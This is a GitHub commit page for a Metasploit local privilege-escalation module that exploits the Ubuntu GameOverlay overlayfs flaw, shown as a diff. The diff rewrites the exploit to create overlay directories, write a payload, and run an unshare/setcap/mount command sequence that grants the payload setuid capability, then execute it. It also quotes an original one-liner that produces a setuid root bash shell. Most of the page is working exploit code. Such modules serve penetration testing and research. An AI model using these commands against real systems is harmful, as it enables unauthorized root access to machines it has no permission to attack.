Skip to content

Commit 51194ad

Browse files
gardnerappbwatters-r7
authored andcommitted
Rebase and maintain authorship
Rebase and change payload delivery Rebase and remove cmdstager Update modules/exploits/linux/local/game_overlay_privesc.rb Co-authored-by: jheysel-r7 <[email protected]> remove CmdStager Mixin Add PrependSetuid Remove python from exploit Remove generate_payload_exe and add dynamic directory to upper mount layer Change where payload is dropped Remove FileUtils module Call proper method for generating payload Seperate exploit and triggering of payload Seperate exploit and triggering payload test
1 parent c927f22 commit 51194ad

File tree

1 file changed

+22
-41
lines changed

1 file changed

+22
-41
lines changed

modules/exploits/linux/local/gameoverlay_privesc.rb

Lines changed: 22 additions & 41 deletions
Original file line numberDiff line numberDiff line change
@@ -5,15 +5,7 @@ class MetasploitModule < Msf::Exploit::Local
55
include Msf::Post::Linux::Kernel
66
include Msf::Post::File
77
include Msf::Exploit::FileDropper
8-
include Msf::Exploit::CmdStager
9-
include FileUtils
108

11-
# TODO
12-
# 1) Add Msf::Post::Linux::System::get_sysinfo to get linux and kernel versions
13-
# ^ What does the output change to
14-
#
15-
# 4) Make exploit more readable with multiline string, change exploit to use
16-
# todo add python requirement
179

1810
def initialize(info = {})
1911
super(
@@ -50,12 +42,14 @@ def initialize(info = {})
5042
],
5143
'Targets' => [ [ 'Linux', {} ] ],
5244
'Arch' => [ ARCH_X86, ARCH_X64 ],
53-
'CmdStagerFlavor' => 'bourne'
45+
'DefaultOptions' => {
46+
'PrependSetuid' => true,
47+
}
5448
)
5549
)
5650
register_options [
5751
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']),
58-
OptString.new('PayloadFileName', [true, 'Name of payloadf', 'marv'])
52+
OptString.new('PayloadFileName', [true, 'Name of payload', 'marv']),
5953
]
6054
end
6155

@@ -103,61 +97,48 @@ def check
10397
return CheckCode::Safe("Target does not appear to be running a vunerable Ubuntu Distro or Kernel")
10498
end
10599

106-
def execute_command(_cmd, _opts = {})
100+
def exploit
107101
pay_file = datastore['PayloadFilename']
108102

109103
pay_dir = datastore['WritableDir']
110104
pay_dir += "/" unless pay_dir.ends_with? "/"
111105
pay_dir += Rex::Text.rand_text_alpha 10
112106

113-
directories = %w[l u w m].flat_map { |e| "#{pay_dir}#{e}" }
107+
pay_dir += "/" unless pay_dir.ends_with? "/"
108+
print_status "Creating directory to store payload: #{pay_dir}"
109+
mkdir pay_dir
114110

115-
# Should we make sure directory doesn't already exist?
111+
directories = %w[l u w m].flat_map { |e| "#{pay_dir}#{e}" }
116112

117113
directories.each do |dir|
118114
print_status "Creating directory #{dir}"
119-
mkdir dir
115+
mkdir "#{dir}"
120116
end
121117

122-
register_dir_for_cleanup pay_dir
123-
124-
print_status "Creating directory to store payload: #{pay_dir}"
125-
pay_dir.concat "/" unless pay_dir.ends_with? "/"
126-
cmd_exec "mkdir -p #{pay_dir}"
127-
128-
register_dir_for_cleanup pay_dir
129-
130118
pay = "#{pay_dir}#{pay_file}"
131119

132120
print_status "Writing payload: #{pay}"
133121

134-
write_file "#{pay}", generate_payload_exe
135-
# works move test to low, run unshare mount set cap, shell
122+
write_file pay, generate_payload.generate
136123

137124
print_status 'Starting new namespace, and running exploit...'
138125

139126
# g1vi original
140127
# "unshare -rm sh -c \"mkdir l u w m && cp /u*/b*/p*3 l/;setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;\" && u/python3 -c 'import os;os.setuid(0);os.system(\"cp /bin/bash /var/tmp/bash && chmod 4755 /var/tmp/bash && /var/tmp/bash -p && rm -rf l m u w /var/tmp/bash\")'"
141128

142-
# TODO move running of payload and exploit to different cmd_exec calls
143-
hack = <<-TEXT
144-
unshare -rm sh -c \"cp /u*/b*/p*3 #{pay_dir};
145-
setcap cap_setuid+eip #{pay_dir}l/python3;
146-
mount -t overlay overlay -o rw,lowerdir=#{pay_dir}l,upperdir=#{pay_dir}u,workdir=#{pay_dir}w #{pay_dir}m
147-
&& touch /tmp/main/m/*
148-
\"
149-
&& #{pay_dir}/u/python3 -c 'import os;os.setuid(0); os.system(\"#{pay}\")'
150-
TEXT
151-
152-
print_status "Running exploit:\n '#{hack}'\n "
153-
print_status(cmd_exec_with_result(hack))
154-
end
129+
# Exploit overlayfs vuln
130+
hack = "unshare -rm sh -c \" cd #{pay_dir} && cp #{pay} l/; setcap cap_setuid+eip l/#{pay_file};
131+
mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*\""
132+
155133

156-
def exploit
157-
puts "System Info: #{get_sysinfo}"
158-
execute_cmdstager
134+
print_status "Running exploit:\n'#{hack}'\n"
135+
print_status(cmd_exec_with_result(hack).to_s)
136+
137+
# Trigger payload
138+
trigger = "cp #{pay_dir}u/#{pay_file} /home/ubuntu/test_payload; chmod +x #{pay_dir}u/#{pay_file} && #{pay_dir}u/#{pay_file}"
159139

160-
# System Info: {:kernel=>"Linux ip-172-26-8-97 5.4.0-1018-aws #18-Ubuntu SMP Wed Jun 24 01:15:00 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux", :distro=>"ubuntu", :version=>"Ubuntu 20.04.6 LTS"}
140+
print_status "Triggering payload: #{trigger}"
141+
print_status(cmd_exec_with_result(trigger).to_s)
161142
end
162143

163144
end

0 commit comments

Comments
 (0)